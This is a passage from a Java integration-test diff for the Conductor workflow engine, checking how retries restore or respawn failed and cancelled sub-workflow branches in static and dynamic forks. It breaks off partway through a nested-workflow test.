resumeSubworkflowTasks: assert the FAILED + CANCELED branches get FRESH subWorkflowIds + * (taskToBeRescheduled spawn-fresh path), the COMPLETED branch is untouched. + */ + @Test + @DisplayName( + "Retry without resumeSubworkflowTasks: fresh children for unsuccessful SUB_WORKFLOW branches, COMPLETED branch untouched") + public void testRetryWithoutResumeFlagSpawnsFreshChildrenForUnsuccessfulSubWorkflowSiblings() { + Captured c = setupThreeBranchScenarioAndFail(); + + workflowClient.retryWorkflow(List.of(c.parentId)); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.RUNNING); + + String[] newFailingChildHolder = new String[1]; + String[] newCancelledChildHolder = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + c.childCompleted, + currentSubWorkflowId( + c.parentId, + "sub_workflow_ref_2__1", + Task.Status.COMPLETED), + "COMPLETED branch must keep its original subWorkflowId"); + String activeFailingChild = + activeSubWorkflowId(c.parentId, "sub_workflow_ref__1"); + String activeCancelledChild = + activeSubWorkflowId(c.parentId, "sub_workflow_ref_1__1"); + assertNotNull( + activeFailingChild, + "sweeper must assign a fresh child id for the FAILED branch"); + assertNotNull( + activeCancelledChild, + "sweeper must assign a fresh child id for the CANCELED branch"); + assertNotEquals( + c.childFailing, + activeFailingChild, + "FAILED branch must have a NEW subWorkflowId (no resume flag)"); + assertNotEquals( + c.childCancelled, + activeCancelledChild, + "CANCELED branch must have a NEW subWorkflowId (no resume flag)"); + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient.getWorkflow(c.childFailing, false).getStatus(), + "original failing child must stay FAILED"); + assertTrue( + workflowClient + .getWorkflow(c.childCancelled, false) + .getStatus() + .isTerminal(), + "original cancelled child must stay terminal"); + newFailingChildHolder[0] = activeFailingChild; + newCancelledChildHolder[0] = activeCancelledChild; + }); + + String newFailingChild = newFailingChildHolder[0]; + String newCancelledChild = newCancelledChildHolder[0]; + completeActiveSimpleRef(newFailingChild, TaskResult.Status.COMPLETED); + completeActiveSimpleRef(newCancelledChild, TaskResult.Status.COMPLETED); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.COMPLETED); + } + + /** + * Same 3-branch setup. Retry WITH resumeSubworkflowTasks=true: assert the FAILED + CANCELED + * branches keep their original subWorkflowId (in-place restore via walk-up + cancelled-sibling + * fix), and the COMPLETED branch is untouched. + */ + @Test + @DisplayName( + "Retry with resumeSubworkflowTasks=true: in-place restore of unsuccessful SUB_WORKFLOW branches, COMPLETED branch untouched") + public void testRetryWithResumeFlagRestoresUnsuccessfulSubWorkflowSiblingsInPlace() { + Captured c = setupThreeBranchScenarioAndFail(); + + workflowClient.retryLastFailedTask(c.parentId, true); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.RUNNING); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + c.childCompleted, + currentSubWorkflowId( + c.parentId, + "sub_workflow_ref_2__1", + Task.Status.COMPLETED), + "COMPLETED branch must keep its original subWorkflowId"); + assertEquals( + c.childFailing, + activeSubWorkflowId(c.parentId, "sub_workflow_ref__1"), + "FAILED branch subWorkflowId must be PRESERVED (resume flag)"); + assertEquals( + c.childCancelled, + activeSubWorkflowId(c.parentId, "sub_workflow_ref_1__1"), + "CANCELED branch subWorkflowId must be PRESERVED (resume flag)"); + assertFalse( + workflowClient + .getWorkflow(c.childFailing, false) + .getStatus() + .isTerminal(), + "original failing child must be restored to non-terminal"); + assertFalse( + workflowClient + .getWorkflow(c.childCancelled, false) + .getStatus() + .isTerminal(), + "original cancelled child must be restored to non-terminal"); + + assertInlinePreserved( + c.childFailing, + c.inlineFailingTaskId, + c.inlineFailingEndTime, + "failing branch child"); + assertInlinePreserved( + c.childCancelled, + c.inlineCancelledTaskId, + c.inlineCancelledEndTime, + "cancelled branch child"); + assertInlinePreserved( + c.childCompleted, + c.inlineCompletedTaskId, + c.inlineCompletedEndTime, + "completed branch child"); + }); + + completeActiveSimpleRef(c.childFailing, TaskResult.Status.COMPLETED); + completeActiveSimpleRef(c.childCancelled, TaskResult.Status.COMPLETED); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.COMPLETED); + } + + private void assertInlinePreserved( + String childId, String expectedTaskId, long expectedEndTime, String label) { + Task inline = onlyTaskByRef(childId, "inline_ref"); + assertEquals( + Task.Status.COMPLETED, + inline.getStatus(), + label + " inline_ref must remain COMPLETED after retry"); + assertEquals( + expectedTaskId, + inline.getTaskId(), + label + " inline_ref taskId must be UNCHANGED (no re-execution)"); + assertEquals( + expectedEndTime, + inline.getEndTime(), + label + " inline_ref endTime must be UNCHANGED (no re-execution)"); + } + + private static final class Captured { + final String parentId; + final String childFailing; + final String childCancelled; + final String childCompleted; + final String inlineFailingTaskId; + final long inlineFailingEndTime; + final String inlineCancelledTaskId; + final long inlineCancelledEndTime; + final String inlineCompletedTaskId; + final long inlineCompletedEndTime; + + Captured( + String p, + String f, + String c1, + String c2, + String ifId, + long ifEnd, + String icId, + long icEnd, + String icompId, + long icompEnd) { + parentId = p; + childFailing = f; + childCancelled = c1; + childCompleted = c2; + inlineFailingTaskId = ifId; + inlineFailingEndTime = ifEnd; + inlineCancelledTaskId = icId; + inlineCancelledEndTime = icEnd; + inlineCompletedTaskId = icompId; + inlineCompletedEndTime = icompEnd; + } + } + + private Captured setupThreeBranchScenarioAndFail() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_3br_" + stamp; + String childName = "sub_3br_" + stamp; + terminateExistingRunningWorkflows(parentName); + registerExactShapeParentAndChildWithThreeBranches(parentName, childName); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentName); + req.setVersion(1); + String parentId = workflowClient.startWorkflow(req); + + String[] cA = new String[1]; + String[] cB = new String[1]; + String[] cC = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + cA[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref_1", 1); + cB[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref", 1); + cC[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref_2", 1); + }); + + completeActiveSimpleRef(cC[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus(cC[0], Workflow.WorkflowStatus.COMPLETED); + + completeActiveSimpleRef(cB[0], TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + awaitWorkflowStatus(parentId, Workflow.WorkflowStatus.FAILED); + + Task forkTaskNow = + workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName().startsWith("fork_")) + .findFirst() + .orElseThrow(() -> new AssertionError("fork task not found in parent")); + assertEquals( + Task.Status.COMPLETED, + forkTaskNow.getStatus(), + "FORK_JOIN must stay COMPLETED on branch failure (does not propagate)"); + + Task inlineF = onlyTaskByRef(cB[0], "inline_ref"); + Task inlineCa = onlyTaskByRef(cA[0], "inline_ref"); + Task inlineCo = onlyTaskByRef(cC[0], "inline_ref"); + + return new Captured( + parentId, + cB[0], + cA[0], + cC[0], + inlineF.getTaskId(), + inlineF.getEndTime(), + inlineCa.getTaskId(), + inlineCa.getEndTime(), + inlineCo.getTaskId(), + inlineCo.getEndTime()); + } + + private void registerExactShapeParentAndChildWithThreeBranches( + String parentName, String childName) { + TaskDef simpleDef = new TaskDef("simple"); + simpleDef.setRetryCount(0); + simpleDef.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(List.of(simpleDef)); + + WorkflowTask inline = new WorkflowTask(); + inline.setName("inline"); + inline.setTaskReferenceName("inline_ref"); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "(function () { return $.value1 + $.value2; })();", + "value1", + 1, + "value2", + 2)); + + WorkflowTask simple = new WorkflowTask(); + simple.setName("simple"); + simple.setTaskReferenceName("simple_ref"); + simple.setTaskDefinition(simpleDef); + simple.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef childDef = new WorkflowDef(); + childDef.setName(childName); + childDef.setOwnerEmail("test@conductor.io"); + childDef.setTimeoutSeconds(600); + childDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + childDef.setTasks(List.of(inline, simple)); + metadataClient.updateWorkflowDefs(List.of(childDef)); + + WorkflowTask branchA = buildSubWorkflowTask("sub_workflow_ref_1", childName); + branchA.setName("sub_workflow_1"); + WorkflowTask branchB = buildSubWorkflowTask("sub_workflow_ref", childName); + branchB.setName("sub_workflow"); + WorkflowTask branchC = buildSubWorkflowTask("sub_workflow_ref_2", childName); + branchC.setName("sub_workflow_2"); + + WorkflowTask fork = new WorkflowTask(); + fork.setName("fork"); + fork.setTaskReferenceName("fork_ref"); + fork.setWorkflowTaskType(TaskType.FORK_JOIN); + fork.setForkTasks(List.of(List.of(branchA), List.of(branchB), List.of(branchC))); + + WorkflowTask join = new WorkflowTask(); + join.setName("join"); + join.setTaskReferenceName("join_ref"); + join.setWorkflowTaskType(TaskType.JOIN); + + WorkflowTask dw = new WorkflowTask(); + dw.setName("do_while"); + dw.setTaskReferenceName("do_while_ref"); + dw.setWorkflowTaskType(TaskType.DO_WHILE); + dw.setInputParameters(Map.of("number", 1)); + dw.setLoopCondition( + "(function () { if ($.do_while_ref['iteration'] < $.number) { return true; } return false; })();"); + dw.setLoopOver(List.of(fork, join)); + + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName(parentName); + parentDef.setOwnerEmail("test@conductor.io"); + parentDef.setTimeoutSeconds(900); + parentDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentDef.setTasks(List.of(dw)); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + } + + private String currentSubWorkflowId( + String parentId, String exactRef, Task.Status expectedStatus) { + return workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter( + t -> + exactRef.equals(t.getReferenceTaskName()) + && t.getStatus() == expectedStatus) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "no " + exactRef + " task with status " + expectedStatus)) + .getSubWorkflowId(); + } + + private String activeSubWorkflowId(String parentId, String exactRef) { + return workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter( + t -> + exactRef.equals(t.getReferenceTaskName()) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(() -> new AssertionError("no active " + exactRef + " task")) + .getSubWorkflowId(); + } + + /** + * FORK_JOIN_DYNAMIC where all branches are SUB_WORKFLOW. One branch will be COMPLETED, one + * FAILED_WITH_TERMINAL_ERROR, one CANCELED by the fork. Retry WITH resume flag must restore + * both unsuccessful branches in place (subWorkflowId preserved). + */ + @Test + @DisplayName( + "Retry with resumeSubworkflowTasks=true on FORK_JOIN_DYNAMIC: in-place restore of unsuccessful branches, COMPLETED branch untouched") + public void testRetryWithResumeFlagInDynamicForkRestoresUnsuccessfulBranchesInPlace() { + DynamicCaptured c = setupDynamicForkScenarioAndFail(); + + workflowClient.retryLastFailedTask(c.parentId, true); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.RUNNING); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + c.childCompleted, + currentSubWorkflowId( + c.parentId, c.completedRef, Task.Status.COMPLETED), + "COMPLETED branch must keep its original subWorkflowId"); + assertEquals( + c.childFailing, + activeSubWorkflowId(c.parentId, c.failingRef), + "FAILED branch subWorkflowId must be PRESERVED (resume flag)"); + assertEquals( + c.childCancelled, + activeSubWorkflowId(c.parentId, c.cancelledRef), + "CANCELED branch subWorkflowId must be PRESERVED (resume flag)"); + assertFalse( + workflowClient + .getWorkflow(c.childFailing, false) + .getStatus() + .isTerminal(), + "original failing child must be restored to non-terminal"); + assertFalse( + workflowClient + .getWorkflow(c.childCancelled, false) + .getStatus() + .isTerminal(), + "original cancelled child must be restored to non-terminal"); + + assertInlinePreserved( + c.childFailing, + c.inlineFailingTaskId, + c.inlineFailingEndTime, + "failing branch child"); + assertInlinePreserved( + c.childCancelled, + c.inlineCancelledTaskId, + c.inlineCancelledEndTime, + "cancelled branch child"); + assertInlinePreserved( + c.childCompleted, + c.inlineCompletedTaskId, + c.inlineCompletedEndTime, + "completed branch child"); + }); + + completeActiveSimpleRef(c.childFailing, TaskResult.Status.COMPLETED); + completeActiveSimpleRef(c.childCancelled, TaskResult.Status.COMPLETED); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.COMPLETED); + } + + /** + * Same shape, retry WITHOUT the resume flag — taskToBeRescheduled nulls the SUB_WORKFLOW + * siblings' subWorkflowId so each FAILED/CANCELED dynamic branch gets a fresh child. + */ + @Test + @DisplayName( + "Retry without resumeSubworkflowTasks on FORK_JOIN_DYNAMIC: fresh children for unsuccessful branches, COMPLETED branch untouched") + public void + testRetryWithoutResumeFlagInDynamicForkSpawnsFreshChildrenForUnsuccessfulBranches() { + DynamicCaptured c = setupDynamicForkScenarioAndFail(); + + workflowClient.retryWorkflow(List.of(c.parentId)); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.RUNNING); + + String[] newDynFailingChildHolder = new String[1]; + String[] newDynCancelledChildHolder = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + c.childCompleted, + currentSubWorkflowId( + c.parentId, c.completedRef, Task.Status.COMPLETED), + "COMPLETED branch must keep its original subWorkflowId"); + String activeFailingChild = + activeSubWorkflowId(c.parentId, c.failingRef); + String activeCancelledChild = + activeSubWorkflowId(c.parentId, c.cancelledRef); + assertNotNull( + activeFailingChild, + "sweeper must assign a fresh child id for the FAILED branch"); + assertNotNull( + activeCancelledChild, + "sweeper must assign a fresh child id for the CANCELED branch"); + assertNotEquals( + c.childFailing, + activeFailingChild, + "FAILED branch must have a NEW subWorkflowId (no resume flag)"); + assertNotEquals( + c.childCancelled, + activeCancelledChild, + "CANCELED branch must have a NEW subWorkflowId (no resume flag)"); + newDynFailingChildHolder[0] = activeFailingChild; + newDynCancelledChildHolder[0] = activeCancelledChild; + }); + + String newFailingChild = newDynFailingChildHolder[0]; + String newCancelledChild = newDynCancelledChildHolder[0]; + completeActiveSimpleRef(newFailingChild, TaskResult.Status.COMPLETED); + completeActiveSimpleRef(newCancelledChild, TaskResult.Status.COMPLETED); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.COMPLETED); + } + + private static final class DynamicCaptured { + final String parentId; + final String failingRef; + final String cancelledRef; + final String completedRef; + final String childFailing; + final String childCancelled; + final String childCompleted; + final String inlineFailingTaskId; + final long inlineFailingEndTime; + final String inlineCancelledTaskId; + final long inlineCancelledEndTime; + final String inlineCompletedTaskId; + final long inlineCompletedEndTime; + + DynamicCaptured( + String p, + String fr, + String cr, + String compr, + String f, + String c1, + String c2, + String ifId, + long ifEnd, + String icId, + long icEnd, + String icompId, + long icompEnd) { + parentId = p; + failingRef = fr; + cancelledRef = cr; + completedRef = compr; + childFailing = f; + childCancelled = c1; + childCompleted = c2; + inlineFailingTaskId = ifId; + inlineFailingEndTime = ifEnd; + inlineCancelledTaskId = icId; + inlineCancelledEndTime = icEnd; + inlineCompletedTaskId = icompId; + inlineCompletedEndTime = icompEnd; + } + } + + private DynamicCaptured setupDynamicForkScenarioAndFail() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_dynfork_" + stamp; + String childName = "sub_dynfork_" + stamp; + String failingRef = "branch_failing_" + stamp; + String cancelledRef = "branch_cancelled_" + stamp; + String completedRef = "branch_completed_" + stamp; + + terminateExistingRunningWorkflows(parentName); + registerDynamicForkParentAndChild(parentName, childName); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentName); + req.setVersion(1); + String parentId = workflowClient.startWorkflow(req); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(parentId, "prep_ref"), + "prep_ref must be active before driving dynamic fork")); + completeDynamicForkPrep(parentId, childName, failingRef, cancelledRef, completedRef); + + String[] cF = new String[1]; + String[] cCa = new String[1]; + String[] cCo = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + cF[0] = + parent.getTasks().stream() + .filter( + t -> + failingRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + failingRef + + " not materialised")) + .getSubWorkflowId(); + cCa[0] = + parent.getTasks().stream() + .filter( + t -> + cancelledRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + cancelledRef + + " not materialised")) + .getSubWorkflowId(); + cCo[0] = + parent.getTasks().stream() + .filter( + t -> + completedRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + completedRef + + " not materialised")) + .getSubWorkflowId(); + }); + + completeActiveSimpleRef(cCo[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus(cCo[0], Workflow.WorkflowStatus.COMPLETED); + + completeActiveSimpleRef(cF[0], TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + awaitWorkflowStatus(parentId, Workflow.WorkflowStatus.FAILED); + + Task dynForkNow = onlyTaskByRef(parentId, "dyn_fork_ref"); + assertEquals( + Task.Status.COMPLETED, + dynForkNow.getStatus(), + "FORK_JOIN_DYNAMIC must stay COMPLETED on branch failure (does not propagate)"); + + Task inlineF = onlyTaskByRef(cF[0], "inline_ref"); + Task inlineCa = onlyTaskByRef(cCa[0], "inline_ref"); + Task inlineCo = onlyTaskByRef(cCo[0], "inline_ref"); + + return new DynamicCaptured( + parentId, + failingRef, + cancelledRef, + completedRef, + cF[0], + cCa[0], + cCo[0], + inlineF.getTaskId(), + inlineF.getEndTime(), + inlineCa.getTaskId(), + inlineCa.getEndTime(), + inlineCo.getTaskId(), + inlineCo.getEndTime()); + } + + private void registerDynamicForkParentAndChild(String parentName, String childName) { + TaskDef simpleDef = new TaskDef("simple"); + simpleDef.setRetryCount(0); + simpleDef.setOwnerEmail("test@conductor.io"); + + TaskDef prepDef = new TaskDef("dynfork_prep"); + prepDef.setRetryCount(0); + prepDef.setOwnerEmail("test@conductor.io"); + + metadataClient.registerTaskDefs(List.of(simpleDef, prepDef)); + + WorkflowTask inline = new WorkflowTask(); + inline.setName("inline"); + inline.setTaskReferenceName("inline_ref"); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "(function () { return $.value1 + $.value2; })();", + "value1", + 1, + "value2", + 2)); + + WorkflowTask simple = new WorkflowTask(); + simple.setName("simple"); + simple.setTaskReferenceName("simple_ref"); + simple.setTaskDefinition(simpleDef); + simple.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef childDef = new WorkflowDef(); + childDef.setName(childName); + childDef.setOwnerEmail("test@conductor.io"); + childDef.setTimeoutSeconds(600); + childDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + childDef.setTasks(List.of(inline, simple)); + metadataClient.updateWorkflowDefs(List.of(childDef)); + + WorkflowTask prep = new WorkflowTask(); + prep.setName("dynfork_prep"); + prep.setTaskReferenceName("prep_ref"); + prep.setTaskDefinition(prepDef); + prep.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask dynFork = new WorkflowTask(); + dynFork.setName("dyn_fork"); + dynFork.setTaskReferenceName("dyn_fork_ref"); + dynFork.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + dynFork.setInputParameters( + Map.of( + "dynamicTasks", "${prep_ref.output.dynamicTasks}", + "dynamicTasksInput", "${prep_ref.output.dynamicTasksInput}")); + dynFork.setDynamicForkTasksParam("dynamicTasks"); + dynFork.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setName("dyn_join"); + join.setTaskReferenceName("dyn_join_ref"); + join.setWorkflowTaskType(TaskType.JOIN); + + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName(parentName); + parentDef.setOwnerEmail("test@conductor.io"); + parentDef.setTimeoutSeconds(900); + parentDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentDef.setTasks(List.of(prep, dynFork, join)); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + } + + private void completeDynamicForkPrep( + String parentId, + String childName, + String failingRef, + String cancelledRef, + String completedRef) { + WorkflowTask failingDyn = buildDynamicSubWorkflowTask(failingRef, childName); + WorkflowTask cancelledDyn = buildDynamicSubWorkflowTask(cancelledRef, childName); + WorkflowTask completedDyn = buildDynamicSubWorkflowTask(completedRef, childName); + + java.util.HashMap output = new java.util.HashMap<>(); + output.put("dynamicTasks", List.of(failingDyn, cancelledDyn, completedDyn)); + output.put( + "dynamicTasksInput", + Map.of( + failingRef, Map.of(), + cancelledRef, Map.of(), + completedRef, Map.of())); + + Task prep = findActiveTaskByRef(parentId, "prep_ref"); + TaskResult tr = new TaskResult(); + tr.setWorkflowInstanceId(parentId); + tr.setTaskId(prep.getTaskId()); + tr.setStatus(TaskResult.Status.COMPLETED); + tr.setOutputData(output); + taskClient.updateTask(tr); + } + + private WorkflowTask buildDynamicSubWorkflowTask(String ref, String childWorkflowName) { + WorkflowTask t = new WorkflowTask(); + t.setName(childWorkflowName); + t.setTaskReferenceName(ref); + t.setType(TaskType.SUB_WORKFLOW.name()); + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(childWorkflowName); + params.setVersion(1); + t.setSubWorkflowParam(params); + return t; + } + + /** + * Retry on the FAILING child sub-workflow directly (one of the dynamic-fork branches), not on + * the parent. Walk-up via updateAndPushParents from that child reaches the parent, where the + * cancelled-sibling fix fires: cancelled branch restored in place (subWorkflowId preserved), + * COMPLETED branch untouched, failing child's simple_ref retried in place. + */ + @Test + @DisplayName( + "Retry on the FAILING dynamic-fork child sub-workflow directly: walk-up restores cancelled sibling in place, COMPLETED untouched") + public void testRetryOnFailingChildSubWorkflowInDynamicForkPreservesCancelledSibling() { + DynamicCaptured c = setupDynamicForkScenarioAndFail(); + + workflowClient.retryWorkflow(List.of(c.childFailing)); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.RUNNING); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + c.childCompleted, + currentSubWorkflowId( + c.parentId, c.completedRef, Task.Status.COMPLETED), + "COMPLETED branch must keep its original subWorkflowId"); + assertEquals( + c.childFailing, + activeSubWorkflowId(c.parentId, c.failingRef), + "failing branch subWorkflowId must be PRESERVED (retry on the child itself)"); + assertEquals( + c.childCancelled, + activeSubWorkflowId(c.parentId, c.cancelledRef), + "cancelled branch subWorkflowId must be PRESERVED (walk-up + cancelled-sibling fix)"); + assertFalse( + workflowClient + .getWorkflow(c.childFailing, false) + .getStatus() + .isTerminal(), + "failing child must be restored to non-terminal"); + assertFalse( + workflowClient + .getWorkflow(c.childCancelled, false) + .getStatus() + .isTerminal(), + "cancelled child must be restored to non-terminal"); + + assertInlinePreserved( + c.childFailing, + c.inlineFailingTaskId, + c.inlineFailingEndTime, + "failing branch child"); + assertInlinePreserved( + c.childCancelled, + c.inlineCancelledTaskId, + c.inlineCancelledEndTime, + "cancelled branch child"); + assertInlinePreserved( + c.childCompleted, + c.inlineCompletedTaskId, + c.inlineCompletedEndTime, + "completed branch child"); + }); + + completeActiveSimpleRef(c.childFailing, TaskResult.Status.COMPLETED); + completeActiveSimpleRef(c.childCancelled, TaskResult.Status.COMPLETED); + awaitWorkflowStatus(c.parentId, Workflow.WorkflowStatus.COMPLETED); + } + + /** + * Customer-reported regression after PR #3458: a fork where every branch is a SUB_WORKFLOW (no + * SIMPLE siblings). When one sub-workflow fails and others get CANCELLED, retry/rerun must + * resume the cancelled siblings — and to avoid re-executing already-COMPLETED work inside the + * cancelled children, it must do so by retrying the existing terminated child workflows + * in-place (preserving subWorkflowId) rather than spawning brand-new ones. + */ + @Test + @DisplayName( + "Retry sub-workflow inside all-SUB_WORKFLOW fork retries each CANCELLED sibling in-place") + public void testRetrySubWorkflowReschedulesAllSubWorkflowSiblingsInFork() { + long stamp = System.currentTimeMillis(); + String parentWfName = "rerun-allsubwf-parent-" + stamp; + String failingSubWfName = "rerun-allsubwf-failing-child-" + stamp; + String cancelledSubWfName = "rerun-allsubwf-cancelled-child-" + stamp; + + String taskInFailingSubRef = "task_in_failing_sub"; + String taskInCancelledSubRef = "task_in_cancelled_sub"; + String failingSubRef = "failing_sub_ref"; + String cancelledSubRef = "cancelled_sub_ref"; + String forkRef = "fork_allsubwf"; + String joinRef = "join_allsubwf"; + + registerWorkflow(failingSubWfName, List.of(simpleTask(taskInFailingSubRef))); + registerWorkflow(cancelledSubWfName, List.of(simpleTask(taskInCancelledSubRef))); + registerWorkflow( + parentWfName, + List.of( + forkJoin( + forkRef, + List.of( + List.of(subWorkflowTask(failingSubRef, failingSubWfName)), + List.of( + subWorkflowTask( + cancelledSubRef, cancelledSubWfName)))), + join(joinRef, List.of(failingSubRef, cancelledSubRef)))); + + try { + String workflowId = start(parentWfName); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task failingSub = + findActiveTask( + wf, failingSubRef, "failing_sub_ref not found"); + Task cancelledSub = + findActiveTask( + wf, cancelledSubRef, "cancelled_sub_ref not found"); + assertNotNull(failingSub.getSubWorkflowId()); + assertNotNull(cancelledSub.getSubWorkflowId()); + assertFalse( + workflowClient + .getWorkflow(failingSub.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + assertFalse( + workflowClient + .getWorkflow(cancelledSub.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + }); + + String failingSubWorkflowId = + findActiveTask(workflowId, failingSubRef, "missing").getSubWorkflowId(); + String originalCancelledSubWorkflowId = + findActiveTask(workflowId, cancelledSubRef, "missing").getSubWorkflowId(); + + completeTask( + findActiveTask( + failingSubWorkflowId, + taskInFailingSubRef, + "failing inner task not active"), + TaskResult.Status.FAILED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + wf.getStatus(), + "Parent should be FAILED"); + assertEquals( + Task.Status.CANCELED, + statusOf(wf, cancelledSubRef), + "cancelled_sub_ref should be CANCELED"); + assertNotNull( + taskOf(wf, failingSubRef).getReasonForIncompletion(), + "failing_sub_ref should have reasonForIncompletion populated while FAILED"); + }); + + workflowClient.retryWorkflow(List.of(failingSubWorkflowId)); + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.RUNNING, + "Parent should be RUNNING after retry"); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task cancelledSiblingNow = + findActiveTask( + workflowId, + cancelledSubRef, + "Expected an active cancelled_sub_ref task after retry"); + assertEquals( + originalCancelledSubWorkflowId, + cancelledSiblingNow.getSubWorkflowId(), + "subWorkflowId must be PRESERVED (retry-in-place), not regenerated"); + Workflow resumedChild = + workflowClient.getWorkflow( + cancelledSiblingNow.getSubWorkflowId(), true); + assertFalse( + resumedChild.getStatus().isTerminal(), + "Resumed child must be non-terminal"); + assertFalse( + resumedChild.getTasks().isEmpty(), + "Resumed child must still have its tasks"); + + Task resumedFailingSub = + findActiveTask( + workflowId, + failingSubRef, + "failing_sub_ref must be active after retry"); + assertNull( + resumedFailingSub.getReasonForIncompletion(), + "failing_sub_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + String resumedChildId = + findActiveTask(workflowId, cancelledSubRef, "active cancelled_sub_ref missing") + .getSubWorkflowId(); + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + resumedChildId, + taskInCancelledSubRef, + "Inner task in resumed child should be active")); + completeTask( + findActiveTask( + resumedChildId, taskInCancelledSubRef, "resumed inner task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + failingSubWorkflowId, + taskInFailingSubRef, + "Retried task in failing sub-workflow should be active")); + completeTask( + findActiveTask( + failingSubWorkflowId, + taskInFailingSubRef, + "retried failing inner task missing"), + TaskResult.Status.COMPLETED); + + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.COMPLETED, + 20, + "Parent workflow should reach COMPLETED"); + + } finally { + terminateAll(parentWfName, failingSubWfName, cancelledSubWfName); + } + } + + /** + * Customer-reported scenario: nested SUB_WORKFLOW forks. When the user retries from the deepest + * failed task, updateAndPushParents walks up TWO levels. CANCELLED SUB_WORKFLOW siblings at + * BOTH levels must spawn fresh children. Without the fix, neither level would recover. + */ + @Test + @DisplayName( + "Retry of deeply-nested sub-workflow reschedules CANCELLED SUB_WORKFLOW siblings at every parent level") + public void testRetryNestedSubWorkflowsReschedulesSiblingsAtEveryLevel() { + long stamp = System.currentTimeMillis(); + String topWfName = "rerun-nested-top-" + stamp; + String midWfName = "rerun-nested-mid-" + stamp; + String innerFailingWfName = "rerun-nested-inner-failing-" + stamp; + String innerCancelledWfName = "rerun-nested-inner-cancelled-" + stamp; + String outerCancelledWfName = "rerun-nested-outer-cancelled-" + stamp; + + String innerFailingTaskRef = "task_in_inner_failing"; + String innerCancelledTaskRef = 